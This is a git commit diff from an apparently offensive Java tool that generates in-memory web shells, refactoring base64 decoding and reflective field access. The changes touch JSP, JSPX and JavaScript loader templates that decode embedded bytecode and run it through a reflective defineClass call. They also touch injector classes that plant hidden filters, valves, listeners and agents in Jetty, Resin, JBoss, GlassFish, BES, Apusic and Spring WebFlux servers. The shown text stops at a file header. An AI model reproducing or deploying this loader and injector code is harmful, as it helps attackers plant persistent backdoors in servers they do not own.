refactor: simplify base64 and getFieldValue method

generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java

@@ -12,7 +12,8 @@ import net.bytebuddy.implementation.FixedValue;
 
 import java.util.Collections;
 
-import static net.bytebuddy.matcher.ElementMatchers.*;
+import static net.bytebuddy.matcher.ElementMatchers.named;
+import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
 
 /**
  * @author ReaJason
@@ -39,6 +40,7 @@ public class ListenerGenerator {
         if (methodNotFound) {
             builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
                     .withParameters(Object.class, String.class)
+                    .throwing(Exception.class)
                     .intercept(FixedValue.nullValue())
                     .visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
         }

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java

@@ -1,6 +1,5 @@
 package com.reajason.javaweb.memshell.generator.command;
 
-import com.reajason.javaweb.ClassBytesShrink;
 import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
 import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
 import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
@@ -53,6 +52,7 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
                     )
                     .defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
                     .withParameters(String.class)
+                    .throwing(Exception.class)
                     .intercept(FixedValue.nullValue())
                     .visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
                     .visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/DoubleBase64ParamInterceptor.java

@@ -10,7 +10,7 @@ import net.bytebuddy.asm.Advice;
 public class DoubleBase64ParamInterceptor {
 
     @Advice.OnMethodExit
-    public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) {
+    public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) throws Exception {
         returnValue = ShellCommonUtil.base64DecodeToString(ShellCommonUtil.base64DecodeToString(param));
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/utils/ShellCommonUtil.java

@@ -12,22 +12,7 @@ public class ShellCommonUtil {
 
     @SuppressWarnings("all")
     public static Object getFieldValue(Object obj, String name) throws Exception {
-        Field field = null;
+        return "";
-        Class<?> clazz = obj.getClass();
-        while (clazz != Object.class) {
-            try {
-                field = clazz.getDeclaredField(name);
-                break;
-            } catch (NoSuchFieldException var5) {
-                clazz = clazz.getSuperclass();
-            }
-        }
-        if (field == null) {
-            throw new NoSuchFieldException(name);
-        } else {
-            field.setAccessible(true);
-            return field.get(obj);
-        }
     }
 
     public static class GetFieldValueInterceptor {
@@ -37,66 +22,43 @@ public class ShellCommonUtil {
                                 @Advice.Argument(value = 1) String name,
                                 @Advice.Return(readOnly = false) Object returnValue
         ) throws Exception {
-            Field field = null;
             Class<?> clazz = obj.getClass();
             while (clazz != Object.class) {
                 try {
-                    field = clazz.getDeclaredField(name);
+                    Field field = clazz.getDeclaredField(name);
-                    break;
+                    field.setAccessible(true);
+                    returnValue = field.get(obj);
+                    return;
                 } catch (NoSuchFieldException var5) {
                     clazz = clazz.getSuperclass();
                 }
             }
-            if (field == null) {
+            if (returnValue == null) {
-                throw new NoSuchFieldException(name);
+                throw new NoSuchFieldException();
-            } else {
-                field.setAccessible(true);
-                returnValue = field.get(obj);
-                return;
             }
         }
     }
 
 
     @SuppressWarnings("all")
-    public static String base64DecodeToString(String bs) {
+    public static String base64DecodeToString(String bs) throws Exception {
-        byte[] value = null;
+        return "";
-        Class<?> base64;
-        try {
-            base64 = Class.forName("java.util.Base64");
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-        } catch (Exception var6) {
-            try {
-                base64 = Class.forName("sun.misc.BASE64Decoder");
-                Object decoder = base64.newInstance();
-                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            } catch (Exception ignored) {
-            }
-        }
-        return value == null ? null : new String(value);
     }
 
     public static class Base64DecodeToStringInterceptor {
 
         @Advice.OnMethodExit
         @SuppressWarnings("all")
-        public static void exit(@Advice.Argument(value = 0, readOnly = false) String bs, @Advice.Return(readOnly = false) String returnValue) {
+        public static void exit(@Advice.Argument(value = 0, readOnly = false) String bs, @Advice.Return(readOnly = false) String returnValue) throws Exception {
-            byte[] value = null;
+            if (bs != null) {
-            Class<?> base64;
-            try {
-                base64 = Class.forName("java.util.Base64");
-                Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
-                value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-            } catch (Exception var6) {
                 try {
-                    base64 = Class.forName("sun.misc.BASE64Decoder");
+                    Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
-                    Object decoder = base64.newInstance();
+                    returnValue = new String((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs));
-                    value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+                } catch (Exception var6) {
-                } catch (Exception ignored) {
+                    Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
+                    returnValue = new String((byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs));
                 }
             }
-            returnValue = value == null ? null : new String(value);
         }
     }
 }

generator/src/main/resources/shell.js

@@ -1,30 +1,16 @@
-var classLoader = java.lang.Thread.currentThread().getContextClassLoader();
-var className = "{{className}}";
 var base64Str = "{{base64Str}}";
+var clsString = java.lang.Class.forName("java.lang.String");
+var bytecode;
 try {
-    classLoader.loadClass(className).newInstance();
+    var decoder = java.lang.Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
-} catch (e) {
+    bytecode = decoder.getClass().getMethod("decode", clsString).invoke(decoder, base64Str);
-    var clsString = classLoader.loadClass("java.lang.String");
+} catch (ee) {
-    var bytecode;
+    var decoder = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance();
-    try {
+    bytecode = decoder.getClass().getMethod("decodeBuffer", clsString).invoke(decoder, base64Str);
-        var clsBase64 = classLoader.loadClass("java.util.Base64");
+}
-        var clsDecoder = classLoader.loadClass("java.util.Base64$Decoder");
+var clsByteArray = (new java.lang.String("a").getBytes().getClass());
-        var decoder = clsBase64.getMethod("getDecoder").invoke(clsDecoder);
+var clsInt = java.lang.Integer.TYPE;
-        bytecode = clsDecoder.getMethod("decode", clsString).invoke(decoder, base64Str);
+var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", [clsByteArray, clsInt, clsInt]);
-    } catch (ee) {
+defineClass.setAccessible(true);
-        try {
+var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
-            var datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
+clazz.newInstance();
-            bytecode = datatypeConverterClz.getMethod("parseBase64Binary", clsString).invoke(datatypeConverterClz, base64Str);
-        } catch (eee) {
-            var clazz1 = classLoader.loadClass("sun.misc.BASE64Decoder");
-            bytecode = clazz1.newInstance().decodeBuffer(base64Str);
-        }
-    }
-    var clsClassLoader = classLoader.loadClass("java.lang.ClassLoader");
-    var clsByteArray = (new java.lang.String("a").getBytes().getClass());
-    var clsInt = java.lang.Integer.TYPE;
-    var defineClass = clsClassLoader.getDeclaredMethod("defineClass", [clsByteArray, clsInt, clsInt]);
-    defineClass.setAccessible(true);
-    var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
-    clazz.newInstance();
-}

generator/src/main/resources/shell.jsp

@@ -3,6 +3,7 @@
         public ClassDefiner(ClassLoader classLoader) {
             super(classLoader);
         }
+
         public Class<?> defineClass(byte[] code) {
             return defineClass(null, code, 0, code.length);
         }
@@ -10,18 +11,16 @@
 %>
 
 <%
-    ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
     String base64Str = "{{base64Str}}";
     byte[] bytecode = null;
     try {
-        Class base64Clz = classLoader.loadClass("java.util.Base64");
+        Class base64Clz = Class.forName("java.util.Base64");
-        Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
+        Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
-        Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
+        bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
-        bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
     } catch (ClassNotFoundException ee) {
-        Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
+        Class datatypeConverterClz = Class.forName("javax.xml.bind.DatatypeConverter");
-        bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str);
+        bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
     }
-    Class clazz = new ClassDefiner(classLoader).defineClass(bytecode);
+    Class clazz = new ClassDefiner(Thread.currentThread().getContextClassLoader()).defineClass(bytecode);
     clazz.newInstance();
 %>

generator/src/main/resources/shell.jspx

@@ -17,12 +17,11 @@
         byte[] bytecode = null;
         try {
             Class base64Clz = classLoader.loadClass("java.util.Base64");
-            Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
+            Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
-            Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
+            bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
-            bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
         } catch (ClassNotFoundException ee) {
             Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
-            bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str);
+            bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
         }
         Class clazz = new ClassDefiner(classLoader).defineClass(bytecode);
         clazz.newInstance();

generator/src/main/resources/shell1.jsp

@@ -4,12 +4,11 @@
     byte[] bytecode = null;
     try {
         Class base64Clz = classLoader.loadClass("java.util.Base64");
-        Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
+        Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
-        Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
+        bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
-        bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
+    } catch (ClassNotFoundException ee) {
-    } catch (ClassNotFoundException e) {
         Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
-        bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str);
+        bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
     }
     java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
     defineClass.setAccessible(true);

generator/src/main/resources/shell2.jsp

@@ -7,12 +7,11 @@
     ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
     try {
         Class base64Clz = classLoader.loadClass("java.util.Base64");
-        Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
+        Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
-        Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
+        bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
-        bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
+    } catch (ClassNotFoundException ee) {
-    } catch (ClassNotFoundException e) {
         Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
-        bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str);
+        bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
     }
     Object unsafe = null;
     Object rawModule = null;

generator/src/test/java/com/reajason/javaweb/memshell/packer/FreemarkerPackerTest.java

@@ -20,7 +20,6 @@ class FreemarkerPackerTest {
                 .injectorBytesBase64Str("hehe").build();
         String content = new String(packer.pack(generateResult));
         System.out.println(content);
-        assertTrue(content.contains("var className = \"hehe\";"));
         assertTrue(content.contains("var base64Str = \"hehe\";"));
     }
 }

generator/src/test/java/com/reajason/javaweb/memshell/packer/ScriptEnginePackerTest.java

@@ -2,7 +2,12 @@ package com.reajason.javaweb.memshell.packer;
 
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
+import lombok.SneakyThrows;
 import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.condition.EnabledOnJre;
+import org.junit.jupiter.api.condition.JRE;
+
+import javax.script.ScriptEngineManager;
 
 import static org.junit.jupiter.api.Assertions.assertTrue;
 
@@ -19,8 +24,6 @@ class ScriptEnginePackerTest {
                 .injectorBytesBase64Str("hehe").build();
         String jsContent = new String(new ScriptEnginePacker().pack(generateResult));
         System.out.println(jsContent);
-        assertTrue(jsContent.contains("var className = \"hehe\";"));
         assertTrue(jsContent.contains("var base64Str = \"hehe\";"));
     }
-
 }

memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterChainAgentInjector.java

@@ -164,19 +164,15 @@ public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
     }
 
     @SuppressWarnings("all")
-    public static byte[] decodeBase64(String base64Str) {
+    public static byte[] decodeBase64(String base64Str) throws Exception {
         Class<?> decoderClass;
         try {
             decoderClass = Class.forName("java.util.Base64");
             Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
             return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
         } catch (Exception ignored) {
-            try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
-                decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-                return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-            } catch (Exception e) {
-                throw new RuntimeException(e);
-            }
         }
     }
 
@@ -212,8 +208,8 @@ public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
             return;
         } catch (ClassNotFoundException ignored) {
         }
-        byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
         try {
+            byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
             java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             defineClass.invoke(loader, classBytecode, 0, classBytecode.length);

memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesContextValveAgentInjector.java

@@ -164,19 +164,15 @@ public class BesContextValveAgentInjector extends ClassLoader implements ClassFi
     }
 
     @SuppressWarnings("all")
-    public static byte[] decodeBase64(String base64Str) {
+    public static byte[] decodeBase64(String base64Str) throws Exception {
         Class<?> decoderClass;
         try {
             decoderClass = Class.forName("java.util.Base64");
             Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
             return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
         } catch (Exception ignored) {
-            try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
-                decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-                return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-            } catch (Exception e) {
-                throw new RuntimeException(e);
-            }
         }
     }
 
@@ -212,8 +208,8 @@ public class BesContextValveAgentInjector extends ClassLoader implements ClassFi
             return;
         } catch (ClassNotFoundException ignored) {
         }
-        byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
         try {
+            byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
             java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             defineClass.invoke(loader, classBytecode, 0, classBytecode.length);

memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterChainAgentInjector.java

@@ -164,19 +164,15 @@ public class BesFilterChainAgentInjector implements ClassFileTransformer {
     }
 
     @SuppressWarnings("all")
-    public static byte[] decodeBase64(String base64Str) {
+    public static byte[] decodeBase64(String base64Str) throws Exception {
         Class<?> decoderClass;
         try {
             decoderClass = Class.forName("java.util.Base64");
             Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
             return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
         } catch (Exception ignored) {
-            try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
-                decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-                return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-            } catch (Exception e) {
-                throw new RuntimeException(e);
-            }
         }
     }
 
@@ -212,8 +208,8 @@ public class BesFilterChainAgentInjector implements ClassFileTransformer {
             return;
         } catch (ClassNotFoundException ignored) {
         }
-        byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
         try {
+            byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
             java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             defineClass.invoke(loader, classBytecode, 0, classBytecode.length);

memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java

@@ -131,19 +131,18 @@ public class BesListenerInjector {
 
 
     @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+    public static Object getFieldValue(Object obj, String name) throws Exception {
-        for (Class<?> clazz = obj.getClass();
+        Class<?> clazz = obj.getClass();
-             clazz != Object.class;
+        while (clazz != Object.class) {
-             clazz = clazz.getSuperclass()) {
             try {
                 Field field = clazz.getDeclaredField(name);
                 field.setAccessible(true);
                 return field.get(obj);
-            } catch (NoSuchFieldException ignored) {
+            } catch (NoSuchFieldException var5) {
-
+                clazz = clazz.getSuperclass();
             }
         }
-        throw new NoSuchFieldException(name);
+        throw new NoSuchFieldException();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java

@@ -134,19 +134,18 @@ public class GlassFishValveInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+    public static Object getFieldValue(Object obj, String name) throws Exception {
-        for (Class<?> clazz = obj.getClass();
+        Class<?> clazz = obj.getClass();
-             clazz != Object.class;
+        while (clazz != Object.class) {
-             clazz = clazz.getSuperclass()) {
             try {
                 Field field = clazz.getDeclaredField(name);
                 field.setAccessible(true);
                 return field.get(obj);
-            } catch (NoSuchFieldException ignored) {
+            } catch (NoSuchFieldException var5) {
-
+                clazz = clazz.getSuperclass();
             }
         }
-        throw new NoSuchFieldException(name);
+        throw new NoSuchFieldException();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossFilterInjector.java

@@ -175,18 +175,17 @@ public class JbossFilterInjector {
 
 
     @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+    public static Object getFieldValue(Object obj, String name) throws Exception {
-        for (Class<?> clazz = obj.getClass();
+        Class<?> clazz = obj.getClass();
-             clazz != Object.class;
+        while (clazz != Object.class) {
-             clazz = clazz.getSuperclass()) {
             try {
                 Field field = clazz.getDeclaredField(name);
                 field.setAccessible(true);
                 return field.get(obj);
-            } catch (NoSuchFieldException ignored) {
+            } catch (NoSuchFieldException var5) {
-
+                clazz = clazz.getSuperclass();
             }
         }
-        throw new NoSuchFieldException(name);
+        throw new NoSuchFieldException();
     }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossValveInjector.java

@@ -135,19 +135,18 @@ public class JbossValveInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+    public static Object getFieldValue(Object obj, String name) throws Exception {
-        for (Class<?> clazz = obj.getClass();
+        Class<?> clazz = obj.getClass();
-             clazz != Object.class;
+        while (clazz != Object.class) {
-             clazz = clazz.getSuperclass()) {
             try {
                 Field field = clazz.getDeclaredField(name);
                 field.setAccessible(true);
                 return field.get(obj);
-            } catch (NoSuchFieldException ignored) {
+            } catch (NoSuchFieldException var5) {
-
+                clazz = clazz.getSuperclass();
             }
         }
-        throw new NoSuchFieldException(name);
+        throw new NoSuchFieldException();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java

@@ -209,19 +209,18 @@ public class JettyFilterInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+    public static Object getFieldValue(Object obj, String name) throws Exception {
-        for (Class<?> clazz = obj.getClass();
+        Class<?> clazz = obj.getClass();
-             clazz != Object.class;
+        while (clazz != Object.class) {
-             clazz = clazz.getSuperclass()) {
             try {
                 Field field = clazz.getDeclaredField(name);
                 field.setAccessible(true);
                 return field.get(obj);
-            } catch (NoSuchFieldException ignored) {
+            } catch (NoSuchFieldException var5) {
-
+                clazz = clazz.getSuperclass();
             }
         }
-        throw new NoSuchFieldException(name);
+        throw new NoSuchFieldException();
     }
 
     public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {

memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentInjector.java

@@ -238,19 +238,15 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
     }
 
     @SuppressWarnings("all")
-    public static byte[] decodeBase64(String base64Str) {
+    public static byte[] decodeBase64(String base64Str) throws Exception {
         Class<?> decoderClass;
         try {
             decoderClass = Class.forName("java.util.Base64");
             Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
             return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
         } catch (Exception ignored) {
-            try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
-                decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-                return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-            } catch (Exception e) {
-                throw new RuntimeException(e);
-            }
         }
     }
 
@@ -286,8 +282,8 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
             return;
         } catch (ClassNotFoundException ignored) {
         }
-        byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
         try {
+            byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
             java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             defineClass.invoke(loader, classBytecode, 0, classBytecode.length);

memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java

@@ -179,19 +179,18 @@ public class JettyServletInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+    public static Object getFieldValue(Object obj, String name) throws Exception {
-        for (Class<?> clazz = obj.getClass();
+        Class<?> clazz = obj.getClass();
-             clazz != Object.class;
+        while (clazz != Object.class) {
-             clazz = clazz.getSuperclass()) {
             try {
                 Field field = clazz.getDeclaredField(name);
                 field.setAccessible(true);
                 return field.get(obj);
-            } catch (NoSuchFieldException ignored) {
+            } catch (NoSuchFieldException var5) {
-
+                clazz = clazz.getSuperclass();
             }
         }
-        throw new NoSuchFieldException(name);
+        throw new NoSuchFieldException();
     }
 
     public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {

memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentInjector.java

@@ -164,19 +164,15 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
     }
 
     @SuppressWarnings("all")
-    public static byte[] decodeBase64(String base64Str) {
+    public static byte[] decodeBase64(String base64Str) throws Exception {
         Class<?> decoderClass;
         try {
             decoderClass = Class.forName("java.util.Base64");
             Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
             return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
         } catch (Exception ignored) {
-            try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
-                decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-                return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-            } catch (Exception e) {
-                throw new RuntimeException(e);
-            }
         }
     }
 
@@ -212,8 +208,8 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
             return;
         } catch (ClassNotFoundException ignored) {
         }
-        byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
         try {
+            byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
             java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             defineClass.invoke(loader, classBytecode, 0, classBytecode.length);

memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java

@@ -148,19 +148,18 @@ public class ResinFilterInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+    public static Object getFieldValue(Object obj, String name) throws Exception {
-        for (Class<?> clazz = obj.getClass();
+        Class<?> clazz = obj.getClass();
-             clazz != Object.class;
+        while (clazz != Object.class) {
-             clazz = clazz.getSuperclass()) {
             try {
                 Field field = clazz.getDeclaredField(name);
                 field.setAccessible(true);
                 return field.get(obj);
-            } catch (NoSuchFieldException ignored) {
+            } catch (NoSuchFieldException var5) {
-
+                clazz = clazz.getSuperclass();
             }
         }
-        throw new NoSuchFieldException(name);
+        throw new NoSuchFieldException();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java

@@ -128,19 +128,18 @@ public class ResinListenerInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+    public static Object getFieldValue(Object obj, String name) throws Exception {
-        for (Class<?> clazz = obj.getClass();
+        Class<?> clazz = obj.getClass();
-             clazz != Object.class;
+        while (clazz != Object.class) {
-             clazz = clazz.getSuperclass()) {
             try {
                 Field field = clazz.getDeclaredField(name);
                 field.setAccessible(true);
                 return field.get(obj);
-            } catch (NoSuchFieldException ignored) {
+            } catch (NoSuchFieldException var5) {
-
+                clazz = clazz.getSuperclass();
             }
         }
-        throw new NoSuchFieldException(name);
+        throw new NoSuchFieldException();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java

@@ -138,19 +138,18 @@ public class ResinServletInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+    public static Object getFieldValue(Object obj, String name) throws Exception {
-        for (Class<?> clazz = obj.getClass();
+        Class<?> clazz = obj.getClass();
-             clazz != Object.class;
+        while (clazz != Object.class) {
-             clazz = clazz.getSuperclass()) {
             try {
                 Field field = clazz.getDeclaredField(name);
                 field.setAccessible(true);
                 return field.get(obj);
-            } catch (NoSuchFieldException ignored) {
+            } catch (NoSuchFieldException var5) {
-
+                clazz = clazz.getSuperclass();
             }
         }
-        throw new NoSuchFieldException(name);
+        throw new NoSuchFieldException();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java

@@ -146,21 +146,16 @@ public class SpringWebFluxHandlerFunctionInjector {
 
     @SuppressWarnings("all")
     public static Object getFieldValue(Object obj, String name) throws Exception {
-        Field field = null;
         Class<?> clazz = obj.getClass();
         while (clazz != Object.class) {
             try {
-                field = clazz.getDeclaredField(name);
+                Field field = clazz.getDeclaredField(name);
-                break;
+                field.setAccessible(true);
+                return field.get(obj);
             } catch (NoSuchFieldException var5) {
                 clazz = clazz.getSuperclass();
             }
         }
-        if (field == null) {
+        throw new NoSuchFieldException();
-            throw new NoSuchFieldException(name);
-        } else {
-            field.setAccessible(true);
-            return field.get(obj);
-        }
     }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerMethodInjector.java

@@ -138,21 +138,16 @@ public class SpringWebFluxHandlerMethodInjector {
 
